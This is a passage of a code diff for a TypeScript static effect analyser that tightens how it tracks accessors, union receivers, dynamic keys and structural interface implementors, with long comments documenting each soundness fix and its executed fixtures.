+// Is `param -> body` a PROVEN identity return — the function's ENTIRE body is exactly `return <param>;`
+// (block form) or exactly `<param>` (arrow concise-body form), with no destructuring, no default, no
+// rest, no cast, no conditional, nothing at all between the parameter and the value returned — and the
+// returned identifier resolves via the CHECKER to the SAME parameter symbol, not merely the same name (a
+// shadowing `x` in a nested scope would share the name and not the symbol). This is read from the
+// function's own source, not inferred from its declared type: a `T -> T` signature only proves the
+// return value is ASSIGNABLE to the parameter's type, never that it IS the parameter's value — see the
+// long comment above `registerStructuralImpl` for the fixture that proved the signature-only version
+// wrong. A body this narrow cannot do so: there is no statement left for it to construct a different,
+// merely type-compatible object in.
+function isProvenIdentityReturn(decl, paramIdx) {
+  const param = decl.parameters?.[paramIdx];
+  if (!param || !ts.isIdentifier(param.name) || param.initializer || param.dotDotDotToken || param.questionToken)
+    return false;
+  const sameParam = (expr) => {
+    if (!expr || !ts.isIdentifier(expr) || expr.text !== param.name.text) return false;
+    let sym; try { sym = checker.getSymbolAtLocation(expr); } catch { sym = undefined; }
+    let psym; try { psym = checker.getSymbolAtLocation(param.name); } catch { psym = undefined; }
+    return !!sym && !!psym && sym === psym;
+  };
+  const body = decl.body;
+  if (!body) return false;
+  if (ts.isBlock(body))
+    return body.statements.length === 1 && ts.isReturnStatement(body.statements[0])
+      && sameParam(body.statements[0].expression);
+  return sameParam(body); // arrow concise body: `(x) => x`
+}
+// Climb through a well-known-global `Object.assign` call, or a single-type-parameter `T -> T` wrapper
+// whose body is a PROVEN identity return (see `isProvenIdentityReturn`), to the CONTEXTUAL TYPE of the
+// position the merged/wrapped value actually lands in. Plain `getContextualType` on the argument itself
+// resolves to an anonymous inferred shape (`__object`) — MEASURED (see the probe this fix was built
+// from) — not the interface the caller is really assigning into. Bounded depth guards a pathological
+// chain of calls.
+function contextualInterfaceDeclsFor(node, depth = 0) {
+  let ct; try { ct = checker.getContextualType(node); } catch { ct = undefined; }
+  const direct = localInterfaceDeclsOfType(ct);
+  if (direct.length || depth >= 4) return direct;
+  const p = node.parent;
+  if (!p || !ts.isCallExpression(p) || !(p.arguments ?? []).includes(node)) return direct;
+  const calleeText = p.expression.getText().replace(/\s+/g, "");
+  if (calleeText === "Object.assign") return contextualInterfaceDeclsFor(p, depth + 1);
+  let sig; try { sig = checker.getResolvedSignature(p); } catch { sig = undefined; }
+  const decl = sig?.getDeclaration?.();
+  if (decl && decl.typeParameters?.length === 1) {
+    const tpName = decl.typeParameters[0].name.getText();
+    const idx = p.arguments.indexOf(node);
+    if (decl.type?.getText() === tpName && decl.parameters?.[idx]?.type?.getText() === tpName
+        && isProvenIdentityReturn(decl, idx))
+      return contextualInterfaceDeclsFor(p, depth + 1);
+  }
+  return direct;
+}
+// Mint (or ALIAS to an existing unit) every member of a structural implementor `container`
+// (ObjectLiteralExpression's `.properties` or a ClassExpression's `.members` — both walked generically,
+// same shape as the nominal branch's own `cls.members`). Position-keyed, like `decoratorArgUnit` /
+// `staticBlockUnit` above — two structural implementors in one file must not collide.
+function mintStructuralMembers(container) {
+  const sf = container.getSourceFile();
+  const mod = moduleOf(sf);
+  const members = container.properties ?? container.members ?? [];
+  for (const prop of members) {
+    if (nodeName.has(prop)) continue; // already minted/aliased (shared members across two matched interfaces)
+    const name = prop.name?.getText?.();
+    if (!name || ts.isComputedPropertyName(prop.name)) continue; // computed key — never guess
+    // Method shorthand (object literal `go(){…}` OR class-expression `go(){…}`) — a real body, own unit.
+    if (ts.isMethodDeclaration(prop) && prop.body) {
+      mintPositionalStructuralUnit(mod, sf, prop, name);
+      continue;
+    }
+    // `go: <expr>` (PropertyAssignment) / `go = <expr>` (class-expression field).
+    const init = (ts.isPropertyAssignment(prop) || ts.isPropertyDeclaration(prop)) ? prop.initializer : null;
+    if (!init) continue; // a body-less abstract/declare member — nothing to mint, nothing to alias
+    if (ts.isArrowFunction(init) || ts.isFunctionExpression(init)) {
+      mintPositionalStructuralUnit(mod, sf, prop, name);
+      continue;
+    }
+    // `go: other.method.bind(other)` / `go: other.method` — this is the SAME reflective-invoke reference
+    // shape the HOF-ref arm already resolves; reuse it rather than inventing a second unit for a function
+    // that already has one. A `.bind()` whose receiver can't be pinned, or any other expression (a call
+    // result, a conditional, an opaque holder), is left UNRESOLVED — `nodeName.has(prop)` stays false, so
+    // the dispatch site's `allResolved` gate reads this implementor as incomplete and forces Unknown: the
+    // disjunction's (b) arm, never silence.
+    const bound = unwrapBind(init);
+    const ref = bound ? bound.ref : ((ts.isIdentifier(init) || ts.isPropertyAccessExpression(init)) ? init : null);
+    if (ref) {
+      const d = realDecl(checker.getSymbolAtLocation(ref));
+      const target = (d && nodeName.get(d)) || resolveFnRefUnit(ref);
+      if (target) nodeName.set(prop, target);
+    }
+  }
+}
+function mintPositionalStructuralUnit(mod, sf, prop, name) {
+  const qual = `${mod}.<structural>@${prop.getStart()}.${name}`;
+  if (!fns.has(qual)) {
+    const { line, character } = sf.getLineAndCharacterOfPosition(prop.getStart());
+    fns.set(qual, { local: `<structural>.${name}`, direct: new Set(), fsKinds: new Set(), edges: new Set(),
+                    hosts: new Set(), tables: new Set(), cmds: new Set(), paths: new Set(), blind: new Set(),
+                    incomplete: new Set(), why: new Set(), entry: false,
+                    loc: `${path.relative(rootDir, sf.fileName)}:${line + 1}:${character + 1}`,
+                    endLine: sf.getLineAndCharacterOfPosition(prop.getEnd()).line + 1 });
+  }
+  nodeName.set(prop, qual);
+}
+for (const sf of sources) {
+  (function walkStructural(node) {
+    // An EMPTY object literal (`Object.assign({}, source)`'s target arg is the common real-world
+    // shape) has no property to ever complete a dispatch with, and registering it as a candidate only
+    // forces needless conservatism (every OTHER implementor resolving, this one never can, so the
+    // dispatch falls back to disclosed-Unknown for no reason). Skip it: nothing is lost, since it can
+    // never structurally satisfy an interface with any member on its own.
+    if (ts.isObjectLiteralExpression(node) && node.properties.length > 0) {
+      const decls = contextualInterfaceDeclsFor(node);
+      if (decls.length) {
+        for (const d of decls) registerStructuralImpl(d, node);
+        mintStructuralMembers(node);
+      }
+    } else if (ts.isClassExpression(node)) {
+      // Explicit `implements` on an anonymous/named class EXPRESSION — the nominal branch above only
+      // ever visits `ts.isClassDeclaration`, so `held = new (class implements Task { go(){…} })()`
+      // registered nowhere at all (not even as a candidate, unlike the object-literal shape) and its
+      // methods were never minted units either (`localName`'s method branch requires a ClassDeclaration
+      // parent). Reuse the SAME climb/registration and member-minting as the object-literal shape.
+      let registeredAny = false;
+      for (const h of node.heritageClauses ?? []) {
+        if (h.token !== ts.SyntaxKind.ImplementsKeyword) continue;
+        for (const t of h.types) {
+          let sym; try { sym = checker.getSymbolAtLocation(t.expression); } catch { sym = undefined; }
+          const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
+          for (const d of tgt?.declarations ?? [])
+            if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName))) {
+              registerStructuralImpl(d, node);
+              registeredAny = true;
+            }
+        }
+      }
+      if (registeredAny) mintStructuralMembers(node);
+    }
+    ts.forEachChild(node, walkStructural);
+  })(sf);
+}
+
 // Accessor resolution (the silent-pure-accessor fix): a property READ (`x.raw`) or property
 // ASSIGNMENT target (`x.path = v`) may resolve to a getter/setter whose body performs effects. We
 // resolve the property-name symbol to its declarations and look for an accessor of the matching
@@ -3838,83 +4309,585 @@ function unwrapBind(node, depth = 0) {
 // when the accessor's declaration lives in a project file (a UNIT we minted; edge to it). A resolved
 // accessor we CAN'T see (external/typed-only declaration) returns local:false so the caller follows
 // the existing Unknown/curated-κ posture — never silent-pure for a resolved-but-unseen accessor.
-// A property SYMBOL → its accessor declaration of the wanted kind (or null). `local` is true when that
-// declaration lives in a project file (a unit we minted; edge to it). Shared by every property-read
-// shape: dot access, element access, and object destructuring.
-function accessorFromSym(sym, kind /* "get" | "set" */) {
-  if (!sym) return null;
+// A property SYMBOL → EVERY accessor declaration of the wanted kind (a possibly-empty list). `local` is
+// true when that declaration lives in a project file (a unit we minted; edge to it). Shared by every
+// property-read shape: dot access, element access, and object destructuring.
+//
+// EVERY DECLARATION, NOT THE FIRST — this was a `.find`, and on a UNION-TYPED RECEIVER that is a silent
+// under-report chosen by declaration order. TypeScript synthesizes ONE property symbol for `x.token`
+// where `x: Aa | Bb`, carrying BOTH classes' accessor declarations, and their order is the checker's,
+// not the source's. `.find` therefore picked an arbitrary arm and, when it picked the pure one, the
+// effectful arm vanished. EXECUTED, node 22.12.0, counting real `fs.appendFileSync` calls by reading the
+// log file back:
+//
+//     export class Aa { set token(v: string) { /* pure */ } }
+//     export class Bb { set token(v: string) { fs.appendFileSync("/tmp/x", v); } }
+//     export function u1(x: Aa | Bb) { x.token = "v"; }
+//
+//     u1(new Bb())  ->  1 real write        pre-fix: `c.u1` ABSENT from functions[], `deny Fs` exit 0
+//                                           post-fix: `c.u1` ["Fs"], `deny Fs` exit 1
+//
+// and it was order-dependent in a way no reader could predict: the SAME program with the two classes
+// swapped in the file reported `Fs` (the checker happened to list the effectful arm first). A union
+// receiver is a disjunction — ANY arm may be the runtime value — so the sound answer is the UNION of
+// the arms' accessors, which is also what `classBodiedGetter`'s `every` already assumes one line up.
+// The direction this fails in is over-charge (an arm that cannot occur at this site), never silence.
+// SOUNDNESS R259 — A UNION RECEIVER IS A DISJUNCTION, AND `getProperties()` ANSWERS THE INTERSECTION.
+// R245 fixed the union question at `accessorsFromSym` — ONE synthesised symbol carrying several
+// declarations — and its own commit message states the rule this level does not implement: *"a union
+// receiver is a disjunction — ANY arm may be the runtime value — so the sound answer is the UNION of the
+// arms' accessors."* Every whole-object arm gets its property LIST from `type.getProperties()`, which on
+// a union returns only the properties present in EVERY constituent, so an accessor declared on ONE arm is
+// never handed to the (now-correct) helper at all. Proven against the TS API directly: for `x: Aa | Bb`
+// where only `Aa` declares `token`, `getProperties()` is `[other]` and `getProperty("token")` is null.
+//
+// EXECUTED, node 22.12.0, 1 real accessor invocation per cell, over 46 cells of a generated matrix —
+// six union shapes crossed with every arm that typechecks, caller ABSENT from `functions[]` in all 46:
+//
+//     Aa|undefined  assign-src, JSON.stringify, structuredClone, spread, rest        5 of 5 arms silent
+//     Aa|null       the same five                                                    5 of 5
+//     Aa|string     + Object.assign target, Object.entries, Object.values            6 of 6
+//     Aa|Bb         + Reflect.get, Reflect.set                                      10 of 10
+//     Aa|{lit}      the same ten                                                    10 of 10
+//     (f ? a : b)   the same ten — a union formed AT THE SITE                       10 of 10
+//
+// and on the caller ALL EIGHT policy forms exit 0 — blanket `deny Fs`, `deny Unknown`, `deny Fs Unknown`,
+// `pure <caller>`, `deny Fs <caller>`, and the three reason-scoped ones — with the scoped rules BINDING.
+// Blanket `deny Fs` is red elsewhere in the module only when the object's PRODUCER is in scope; when the
+// object arrives as a parameter, nothing anywhere goes red. NARROWED forms are correct today and stay
+// correct — `x ?? fb` and `if (!x) return` both disclose, because TS narrows before the site, so the hole
+// needs the union to SURVIVE into the operation (12 arms each, 0 silent, carried as controls).
+//
+// The direction this fails in is OVER-CHARGE — an arm that cannot be the runtime value at this site —
+// never silence, which is the same trade `accessorsFromSym`'s `every` already makes one level down.
+/** Every property symbol ANY arm of `type` declares — the disjunction, not `getProperties()`'s intersection. */
+function propertiesAcrossArms(type) {
+  if (!type?.getProperties) return [];
+  if (!type.isUnion?.()) return type.getProperties();
+  const seen = new Set();
+  for (const arm of type.types) for (const p of (arm.getProperties?.() ?? [])) seen.add(p);
+  return [...seen];
+}
+/** Every arm's symbol for `name` — a LIST, because two arms can declare the same name with different
+ *  accessor bodies and picking one is the order-dependence R245 was filed to kill. */
+function propertySymbolsAcrossArms(type, name) {
+  if (!type?.getProperty) return [];
+  const seen = new Set();
+  const direct = type.getProperty(name);
+  if (direct) seen.add(direct);
+  if (type.isUnion?.()) for (const arm of type.types) { const p = arm.getProperty?.(name); if (p) seen.add(p); }
+  return [...seen];
+}
+function accessorsFromSym(sym, kind /* "get" | "set" */) {
+  if (!sym) return [];
   const want = kind === "get" ? ts.isGetAccessorDeclaration : ts.isSetAccessorDeclaration;
   // A symbol is an accessor only if its declarations include an accessor of the wanted kind.
-  const decl = (sym.declarations ?? []).find((d) => want(d));
-  if (!decl) return null;
-  return { decl, local: projectFiles.has(path.resolve(decl.getSourceFile().fileName)) };
-}
-function accessorAt(propNode, kind /* "get" | "set" */) {
-  let sym;
+  return (sym.declarations ?? []).filter((d) => want(d))
+    .map((decl) => ({ decl, local: projectFiles.has(path.resolve(decl.getSourceFile().fileName)) }));
+}
+// SOUNDNESS R240(a) — THE KEY'S TYPE PINS THE PROPERTY SET, AND ASKING IT IS NOT A GUESS.
+// `accessorsAt` used to resolve only a syntactic string literal, under a comment that said a dynamic
+// key "can't be pinned to one property … resolving it would guess". That is true of `k: string` and
+// FALSE of `k: "token" | "other"`, whose TYPE names exactly two properties — the same shape as R232/R233,
+// where a safety comment was true for the case in front of its author and false one spelling over.
+//
+// Returns the FINITE set of property names the key can hold, or `null` when there is no finite set.
+// `null` is a real answer ("we cannot say which property this is"), distinct from an empty set.
+//
+// THIS IS NOT AN OVER-APPROXIMATION: every name returned is a value the key is DECLARED to be able to
+// take, so charging all of them charges exactly what the program says can run. It fails toward `null`
+// (today's silence) on anything it cannot enumerate, which is the denylist direction — a name is
+// admitted only when a literal type PROVES it, never guessed from the receiver's property list.
+//
+// FIVE SPELLINGS, all measured on executed fixtures (see the test block and the CHANGELOG):
+//   "token" | "other"   a literal union                       -> {token, other}
+//   const k = "token"   a single literal type                 -> {token}
+//   EK / EK.Token       a string enum, whole or one member    -> {token, other} / {token}   (EnumLiteral
+//                                                                carries StringLiteral, so `.value` is
+//                                                                the runtime key)
+//   keyof Session       an Index type the checker has already normalised to a literal union
+//   K extends keyof T   a TYPE PARAMETER — pinned through its CONSTRAINT, which is that same union
+//
+// The CAP is a rail, not a semantic: a template-literal type can expand to tens of thousands of names,
+// and past the cap this returns `null` — the pre-fix answer, so the cap can only lose precision, never
+// soundness.
+const KEY_NAME_CAP = 512;
+function keyLiteralNames(t, depth = 0, seen = new Set()) {
+  if (!t || depth > 4 || seen.has(t)) return null;
+  seen.add(t);
+  if (t.isUnion?.()) {
+    const out = new Set();
+    for (const c of t.types) {
+      const s = keyLiteralNames(c, depth + 1, seen);
+      if (!s) return null;                        // ONE unpinnable arm makes the whole key unpinnable
+      for (const x of s) out.add(x);
+      if (out.size > KEY_NAME_CAP) return null;
+    }
+    return out;
+  }
+  // A string/number literal type IS the property name. `EK.Token` is `EnumLiteral | StringLiteral`, so a
+  // string enum member lands here and `.value` is the runtime key the enum member compiles to.
+  if (t.isStringLiteral?.()) return new Set([t.value]);
+  if (t.isNumberLiteral?.()) return new Set([String(t.value)]);
+  // `K extends keyof Session` — the type parameter itself names nothing; its CONSTRAINT does.
+  const c = checker.getBaseConstraintOfType?.(t);
+  if (c && c !== t) return keyLiteralNames(c, depth + 1, seen);
+  return null;                                    // `string`, `symbol`, `keyof T` for generic T, …
+}
+function accessorsAt(propNode, kind /* "get" | "set" */) {
   if (ts.isElementAccessExpression(propNode)) {
-    // `c["prop"]` carries no `.name`; resolve the LITERAL key as a property on the receiver's type.
-    // A dynamic key (`c[k]`) can't be pinned to one property — leave it unresolved (the existing
-    // dynamic-access posture stands; resolving it would guess, never fabricate here).
+    // `c["prop"]` carries no `.name`; resolve the key to the property NAMES it can hold and look each
+    // one up on the receiver's type. Returns `null` — distinct from `[]` — when the key is NOT pinned
+    // to a finite name set, so the caller can tell "pinned, and none of them is an accessor" (nothing
+    // to charge) from "we do not know which property this is" (a disclosure question).
     const arg = propNode.argumentExpression;
-    sym = arg && ts.isStringLiteralLike(arg)
-      ? checker.getTypeAtLocation(propNode.expression)?.getProperty?.(arg.text)
-      : null;
-  } else {
-    sym = checker.getSymbolAtLocation(propNode.name ?? propNode);
-  }
-  return accessorFromSym(sym, kind);
+    const texts = arg && ts.isStringLiteralLike(arg) ? new Set([arg.text])
+                : arg ? keyLiteralNames(checker.getTypeAtLocation(arg)) : null;
+    if (!texts) return null;
+    const recvType = checker.getTypeAtLocation(propNode.expression);
+    const out = [];
+    // R259 — every ARM's symbol for the name, not just the union's own (which is null unless the
+    // property is common to all of them).
+    for (const t of texts) for (const sym of propertySymbolsAcrossArms(recvType, t))
+      out.push(...accessorsFromSym(sym, kind));
+    return out;
+  }
+  return accessorsFromSym(checker.getSymbolAtLocation(propNode.name ?? propNode), kind);
 }
 // A `Object.defineProperty` descriptor accessor for the forcing site `recv.key` (read → get, assign →
-// set), consulted ONLY when the type-level `accessorAt` came up empty (the checker types target.key as
+// set), consulted ONLY when the type-level `accessorsAt` came up empty (the checker types target.key as
 // a data prop, so defineProperty accessors are invisible to it). Resolve the receiver expression to its
 // binding symbol and the key to a static string; look both up in `definePropAccessors`. Returns the
 // descriptor function NODE (a minted unit) when found, or null. NO fabrication: a data (`value:`)
 // descriptor was never indexed, an absent target/key returns null.
 function definePropForceTarget(propNode, kind /* "get" | "set" */) {
-  if (definePropAccessors.size === 0) return null;
-  let recvExpr, keyText;
+  if (definePropAccessors.size === 0) return [];
+  // R240(a) — the key set, not one key: the SAME literal-type pinning the type-level arm now does. A
+  // descriptor installed under `"hot"` and reached as `target[k]` with `k: "hot" | "cold"` was silent
+  // here for exactly the reason it was silent there (executed: 1 real setter invocation, row ABSENT).
+  let recvExpr, keyTexts;
   if (ts.isElementAccessExpression(propNode)) {
     recvExpr = propNode.expression;
     const arg = propNode.argumentExpression;
-    keyText = arg && ts.isStringLiteralLike(arg) ? arg.text : null;
+    keyTexts = arg && ts.isStringLiteralLike(arg) ? new Set([arg.text])
+             : arg ? keyLiteralNames(checker.getTypeAtLocation(arg)) : null;
   } else if (ts.isPropertyAccessExpression(propNode)) {
     recvExpr = propNode.expression;
-    keyText = propNode.name?.getText?.();
-  } else return null;
-  if (keyText == null) return null;
+    const n = propNode.name?.getText?.();
+    keyTexts = n == null ? null : new Set([n]);
+  } else return [];
+  if (keyTexts == null) return [];
   // Resolve the receiver to the SAME symbol the defineProperty target identifier resolved to. Follow an
   // import alias so a cross-module `import { config }` access joins the defining module's index entry.
   const rsym0 = checker.getSymbolAtLocation(recvExpr);
-  if (!rsym0) return null;
+  if (!rsym0) return [];
   const rsym = rsym0.flags & ts.SymbolFlags.Alias ? (() => { try { return checker.getAliasedSymbol(rsym0); } catch { return rsym0; } })() : rsym0;
   const byKey = definePropAccessors.get(rsym) ?? definePropAccessors.get(rsym0);
-  const entry = byKey?.get(keyText);
-  return entry?.[kind] ?? null;
+  if (!byKey) return [];
+  const out = [];
+  for (const k of keyTexts) { const n = byKey.get(k)?.[kind]; if (n) out.push(n); }
+  return out;
 }
 // Record a resolved accessor HIT (read or write) as an edge from `owner`: into the accessor UNIT when
 // it's a local declaration we minted; otherwise Unknown (a resolved-but-unseen accessor body — never
 // silent-pure, SPEC §4). `label` tags the §-why disclosure.
-function recordAccessorHit(owner, hit, label) {
+// SOUNDNESS R282 — AND THE OVERRIDES, WHICH THIS NEVER ASKED FOR. The edge above lands on the
+// declaration RESOLUTION picked — for a base-typed receiver that is the BASE's accessor — and nothing
+// here consulted `classOverrides`, so a subclass override's effects never reached the caller. The
+// method path one arm over (`allOverrides` at the CallExpression site) does exactly this, off the SAME
+// index, which already keys accessor declarations: `classOverrides`'s own indexing loop matches
+// `isGetAccessorDeclaration`/`isSetAccessorDeclaration` explicitly. The index knew; the consumer never
+// asked. §F1 question 3 — separate implementations of one question, and this is the one that drifted.
+//
+// THE ROW THAT FILED THIS NAMED `abstract get` — A DECLARATION WITH NO BODY — AND THAT IS THE TRIGGER,
+// NOT THE CLASS. A CONCRETE base accessor WITH a body fails identically, and that is the shape real code
+// has. EXECUTED, node 22.12.0, counting real `fs.appendFileSync` calls, receiver typed as the base:
+//
+//     abstract class T { abstract get val(): string; }                     1 real write, `leak` ABSENT
+//     class T { get val() { return "b"; } }  + override get val()          1 real write, `leak` ABSENT
+//     class T { m() { return "b"; } }        + override m()                1 real write, `leak` ['Fs']  ← the control
+//
+// In a tree containing nothing else, `pure src.only.leak` and `deny Fs src.only.leak` both exit 0 with
+// the scope BINDING, `deny Unknown` exits 0, and blanket `deny Fs` exits 1 only INCIDENTALLY — via the
+// independently-reported `src.only.TImpl.get val` unit, never via the caller, which was not judged at all.
+//
+// Bounded exactly as the method path is, and the bounds are the point rather than trivia: the fan-out is
+// scoped to the RECEIVER's static-type subtree when the receiver pins a local class (a sibling
+// subclass's override is type-impossible on this path, and charging it would be fabrication-adjacent);
+// past `CHA_FANOUT_LIMIT`, or with any override not minted as a unit, it DISCLOSES rather than silently
+// dropping what it could not enumerate. A base accessor no subclass overrides has no index entry, so
+// today's answer is preserved byte-for-byte there.
+function accessorOverrideFanOut(rec, decl, recvExpr) {
+  const allOverrides = classOverrides.get(decl);
+  if (!allOverrides || allOverrides.length === 0) return;
+  let overrides = allOverrides;
+  if (recvExpr) {
+    const rt = checker.getTypeAtLocation(recvExpr);
+    const rootClass = (rt?.symbol?.declarations ?? []).find((d) =>
+      ts.isClassDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)));
+    // SOUNDNESS-PRESERVING FALLBACK, the method path's verbatim: a receiver we cannot pin to a LOCAL
+    // class (a union, an interface, `any`, an external type) keeps the FULL override set.
+    if (rootClass) overrides = allOverrides.filter((om) =>
+      ts.isClassDeclaration(om.parent) && classInSubtree(om.parent, rootClass));
+  }
+  if (overrides.length === 0) return;
+  const ownerQual = (d) => (d.parent?.name
+    ? `${moduleOf(d.parent.getSourceFile())}.${namespacePrefixOf(d.parent)}${d.parent.name.getText()}`
+    : null);
+  if (overrides.length > CHA_FANOUT_LIMIT) {
+    rec.direct.add("Unknown");                       // override family too wide to enumerate soundly
+    rec.why.add(dispatchWhy(ownerQual(decl), decl.name?.getText?.()));
+    return;
+  }
+  let allResolved = true;
+  const targets = [];
+  for (const om of overrides) { const ot = nodeName.get(om); if (ot) targets.push(ot); else allResolved = false; }
+  for (const ot of targets) rec.edges.add(ot);       // (EDGE) into each override — effects propagate
+  if (!allResolved) {
+    rec.direct.add("Unknown");                       // an override we could not name is not a pure one
+    rec.why.add(dispatchWhy(ownerQual(decl), decl.name?.getText?.()));
+  }
+}
+function recordAccessorHit(owner, hit, label, recvExpr = null) {
   const rec = fns.get(owner);
   const t = nodeName.get(hit.decl);
   if (hit.local && t) {
     rec.edges.add(t); // (EDGE) into the accessor unit — effects propagate
+    accessorOverrideFanOut(rec, hit.decl, recvExpr);  // R282 — …and into every override it may bind to
   } else {
     rec.direct.add("Unknown");
     rec.why.add(`reflect:accessor:${label}`); // a defineProperty runtime accessor (descriptor get/set unseen) — metaprogramming, canonical `reflect:`
   }
 }
 
+// SOUNDNESS R247 — ONE AUTHORITY for "could a runtime key of this TYPE ever name this property?".
+// Extracted from R240(b)'s unpinnable-key branch, which is where the question was first answered and
+// where the corpus proved it has to be asked BOTH ways: a STRING key cannot name a symbol-keyed
+// accessor (axios 1.7.2's six `AxiosHeaders` rows, armed only by `get [Symbol.toStringTag]()`), and a
+// SYMBOL key cannot name a string-keyed one (mongoose 8's 18 rows, armed by bson's `get id()`).
+// R247's convergence needs the identical test on the `Reflect.set(t, k, v)` side, and a second private
+// copy is how the two spellings drift apart again — which is the entire subject of the row.
+//
+// A DENYLIST OF THE PROVEN-UNREACHABLE, not an allowlist: it excludes only when EVERY declaration of
+// the property has a computed name whose expression is symbol-TYPED, and it lifts entirely when the
+// key's own type could hold the other kind (`PropertyKey`, `symbol`, `any`, `unknown`) or when there is
+// no key expression to read at all (`keyT == null` → every property stays reachable).
+//
+// SOUNDNESS R283 — A TYPE PARAMETER IS NOT A SPELLING, AND THE COMMENT ABOVE IS TRUE OF FOUR SPELLINGS
+// AND FALSE OF EVERY GENERIC ONE. "It lifts entirely when the key's own type could hold the other kind
+// (`PropertyKey`, `symbol`, `any`, `unknown`)" was written by the commit that needed it, and it reads as
+// a considered ruling — §K exactly. A TYPE PARAMETER's own flags are `TypeParameter` and nothing else:
+// neither symbol-ish nor wild, so both tests read FALSE and the key was treated as provably not a symbol,
+// although `K extends PropertyKey` binds to one at the call site. The key's vocabulary is in its
+// CONSTRAINT, and `getBaseConstraintOfType` is where the checker keeps it — the same call `keyLiteralNames`
+// already makes twenty lines up for exactly this reason (§G: ask the authority, it already knows).
+//
+// MEASURED through the TS API on the fixture, at 9a0cfd9:
+//     k: K where K extends PropertyKey   flags 524288 (TypeParameter)   keyMayBeSymbol FALSE
+//                                        getBaseConstraintOfType -> PropertyKey, whose arms answer TRUE
+//
+// AND THE PART THAT DECIDES HOW MUCH THIS MATTERS: the blindness was NOT uniform, because one arm passed
+// BY ACCIDENT. `Reflect.set(t, k, v)`'s lib.d.ts `propertyKey: PropertyKey` is NON-generic, so the
+// checker hands this helper `PropertyKey` and the guard answered right for the wrong reason; `Reflect.get`
+// is generic (`P extends PropertyKey`), so `k` keeps type `K` and the guard answered wrong. A guard that
+// passes because of an overload's shape is one TypeScript release from flipping, and it is why the
+// axis here is the CONSTRAINT and not the four spellings. EXECUTED, 1 real getter invocation per cell,
+// over a class whose only accessor is `get [SYM]()`:
+//
+//     K extends keyof Src    Reflect.get SILENT  Reflect.set SILENT  s[k] SILENT  s[k]=v SILENT
+//     K extends symbol       Reflect.get SILENT  Reflect.set SILENT
+//     K extends PropertyKey  Reflect.get SILENT  Reflect.set discloses  ← the accidental pass
+//     PropertyKey / symbol / keyof Src / any (non-generic)   all four arms disclose
+//     string / "tok" / "tok"|"other"   correctly silent — 0 executed, no legal key reaches the accessor
+//
+// UNCONSTRAINED `<K>` fails OPEN (both kinds possible), which is the disclose direction: a bare type
+// parameter can be instantiated with anything, so nothing is proven and nothing may be excluded.
+function keyCouldNameAccessor(propSym, keyT) {
+  const SYMBOLISH = ts.TypeFlags.ESSymbolLike, WILD = ts.TypeFlags.Any | ts.TypeFlags.Unknown;
+  // A key type flattened to the arms whose FLAGS actually answer the question: a union spreads to its
+  // constituents, a type parameter to its constraint's, and an UNCONSTRAINED one to `null` — "no
+  // vocabulary is proven here", which both tests below read as possible.
+  const arms = (t, depth = 0) => {
+    if (!t) return [];
+    if (t.isUnion?.()) return t.types.flatMap((x) => arms(x, depth));
+    if ((t.flags & ts.TypeFlags.TypeParameter) && depth < 4) {
+      const c = checker.getBaseConstraintOfType?.(t);
+      return c && c !== t ? arms(c, depth + 1) : [null];
+    }
+    return [t];
+  };
+  const keyArms = keyT ? arms(keyT) : [];
+  const keyMayBeSymbol = !keyT || keyArms.some((t) => t === null || (t.flags & (SYMBOLISH | WILD)));
+  const keyMayBeString = !keyT || keyArms.some((t) => t === null || !(t.flags & SYMBOLISH));
+  const ds = propSym?.declarations ?? [];
+  const symbolNamed = ds.length > 0 && ds.every((d) => d.name && ts.isComputedPropertyName(d.name)
+    && !!(checker.getTypeAtLocation(d.name.expression)?.flags & SYMBOLISH));
+  return symbolNamed ? keyMayBeSymbol : keyMayBeString;
+}
+
 // Object PROPERTY-ENUMERATION (`{...obj}`, `const {...rest} = obj`, `Object.assign(t, obj)`): copying an
 // object's own enumerable props INVOKES each source getter — the whole-object analog of `obj.prop`,
 // invisible to the property-access arm (no PropertyAccess node per key). Edge `owner` to every LOCAL
 // getter on the source type. A rest/spread can't name one key, so ALL getters are enumerated (sound
 // over-approximation); a plain prop resolves to no accessor and adds nothing (no fabrication).
-function enumerateGetters(owner, type) {
-  if (!owner || !type || !type.getProperties) return;
-  for (const p of type.getProperties()) {
-    const hit = accessorFromSym(p, "get");
-    if (hit) recordAccessorHit(owner, hit, p.getName());
+//
+// R115 — AND "OWN ENUMERABLE" IS THE HALF THE BODY DID NOT APPLY, so this fabricated on every class.
+// `type.getProperties()` returns the INHERITED prototype surface, and a `class C { get token() {…} }`
+// accessor is installed on `C.prototype` and NON-enumerable — so spread/assign/rest never copy it and
+// never call it. EXECUTED, node 22.12.0, counting getter invocations:
+//
+//     {...c}  0     Object.assign({},c)  0     const {...r}=c  0     {...new Sub()}  0   (Sub extends Base)
+//     {...objectLiteral}  1     const {tok}=c  1     c.tok  1     {...Object.create(protoWithGetter)}  0
+//
+//     export class Session { id = 1; get token(){ return fs.readFileSync("/etc/token","utf8"); } }
+//     export function clone(s: Session) { return { ...s }; }
+//
+//     before:  src.a.clone ['Fs']   `deny Fs` -> exit 1     executed: {"copied":{"id":1},"calls":0}
+//     after:   src.a.clone absent   `deny Fs` -> exit 0
+//
+// A FALSE POSITIVE, not a miss — it fails a gate on a function that performs nothing, and the whole
+// value of a `deny` gate is that a red one means something.
+//
+// NARROWED AS A DENYLIST, per the family rule: the exclusion fires ONLY for an accessor whose every
+// get-declaration sits directly in a `class` body (ClassDeclaration/ClassExpression), which is provably
+// prototype-installed. An INTERFACE or TYPE-LITERAL `get token(): string` stays charged, because the
+// runtime object behind that type may be an object literal, whose getter IS own+enumerable and DOES
+// fire. `every`, not `find`: a union/intersection property symbol carries declarations from each
+// constituent, and `Session | { get token(): string }` must stay charged on the strength of its
+// object-literal arm (measured — `src.b.cloneUnion` keeps `Fs`).
+//
+// `JSON.stringify(c)` and `Object.entries(c)` STAYING PURE IS CORRECT and is not this fix: both read
+// own enumerable props too (executed: 0 invocations on a class instance), and neither is enumerated
+// here in the first place.
+//
+// THE HOLE THIS OPENS IS REAL, MEASURED, AND HALF-CLOSED BELOW, not asserted away. TypeScript is
+// STRUCTURAL, so a value whose static type is a class can be an object literal with an OWN enumerable
+// getter — executed, `{...structural}` invokes it once:
+//
+//     export const structural: Session = { id: 1, get token(){ return fs.readFileSync("/etc/s","utf8"); } };
+//
+// The `srcExpr` arm below resolves the spread source through its BINDING to an object-literal
